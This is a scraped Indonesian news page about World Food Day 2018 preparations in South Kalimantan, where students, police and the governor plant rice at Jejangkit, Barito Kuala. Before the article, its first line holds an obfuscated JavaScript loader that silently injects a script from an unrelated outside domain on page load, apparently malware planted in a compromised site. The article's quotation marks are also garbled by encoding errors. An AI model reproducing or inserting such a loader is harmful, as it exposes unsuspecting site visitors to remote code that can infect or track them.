(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Peringatan Hari Pangan Sedunia (HPS) yang akan berlangsung pada 18 Oktober 2018 mendatang disambut antusias seluruh warga Kalimantan Selatan. Dukungan dari berbagai pihak terus disemarakan, di antaranya mahasiswa Universitas Lambung Mangkurat (ULM), TNI/Polri  yang mengambil bagian menyukseskan moment bersejarah bagi banua ini.
Terlihat 5.000 mahasiswa ULM dan 900 personil Polda Kalsel turut menanam bersama gubernur di lahan baru Desa Jejangkit Kabupaten Barito Kuala (Batola). “5.000 mahasiswa bersama dosen serta rektornya turun langsung ke persawahan dan belicak berataan, kita doakan mudah-mudahan ini berkah buat masyarakat Kalimantan Selatan,†kata Gubernur Sahbirin Noor di sela menanam padi bersama rektor ULM, Sutarto Hadi.
Sahbirin juga menjelaskan persiapan HPS ini telah dicanangkan sejak beberapa bulan lalu, sehingga pelaksanaannya yang tinggal dua hari ini siap dilaksanakan. “Penanaman dilakukan sejak tiga bulan yang lalu, mulai dari membuka lahan, menjadikan lahan siap tanam kemudian menanam hingga pemeliharaannya. Sehingga 100 hektar yang dicanangkan lebih awal siap dipanen pada HPS tanggal 18 Oktober nantinya.â€Â
Sementara Rektor ULM, Sutarto Hadi menyampaikan bahwa luas areal pertanian kita yang tidur ini harus dibangunkan sebab dari lahan tidur ini bisa dimanfaatkan untuk kesejahteraan. “Itulah sumber kesejahteraan masyarakat Kalimantan Selatan, yang paling penting ada komitmen bersama pemerintah dan akademisimembantu dalam penelitian mencari bibit unggul yang cocok untuk rawa lebak seperti di Jejangkit ini,†katanya.
Sehubungan dengan kesejahteraan masyarakat, Dia juga menambahkan bahwa hal terpenting dalam pengelolaan lahan tidur agar swasembada pangan Kalsel diharapkan bisa menjadi ketahanan pangan nasional. “Upaya ini merupakan hal yang sangat strategis bagi daerah Kalimantan Selatan dan Indonesia pada umumnya untuk menghapuskan kelaparan di bumi Nusantara ini,†tutup Sutarto.
Di sisi lain Kapolda Kalsel Irjen Drs Yazid Fanani, M.Si memimpin anggotanya turun ke sawah di Desa Jejangkit Kabupaten Batola) yang menjadi tempat puncak HPS. Menggunakan pakaian dinas dan tanpa menggunakan alas kaki, Kapolda Kalsel tampak mahir dan cekatan menanam bibit padi di lahan Polda Kalsel dan jajaran yang luasnya 4 hektare.(rico)
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kabupaten Banjar menggelar Gebyar Pemberdayaan Masyarakat Desa, Kamis (12/12/2024) siang di… Read More
KANALKALIMANTAN.COM, MARTAPURA - Dinas Pekerjaan Umum, Penataan Ruang dan Pertanahan (PUPRP) Kabupaten Banjar menggelar pertemuan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Rumah Sakit Daerah (RSD) Idaman Banjarbaru berhasil meraih peringkat satu penghargaan Eco… Read More
KANALKALIMANTAN.COM, PARINGIN - Memastikan pemasangan dan kondisi lampu Penerangan Jalan Umum (PJU) berjalan dengan baik,… Read More
KANALKALIMANTAN.COM, BANJARBARU - Wali Kota dan Wakil Wali Kota Banjarbaru menyatukan suara bersama masyarakat Kota… Read More
KANALKALIMANTAN.COM, BANJARBARU - Bentuk apresiasi menjaga kelestarian lingkungan, kebersihan, dan pengelolaan sampah yang baik, Pemerintah… Read More
This website uses cookies.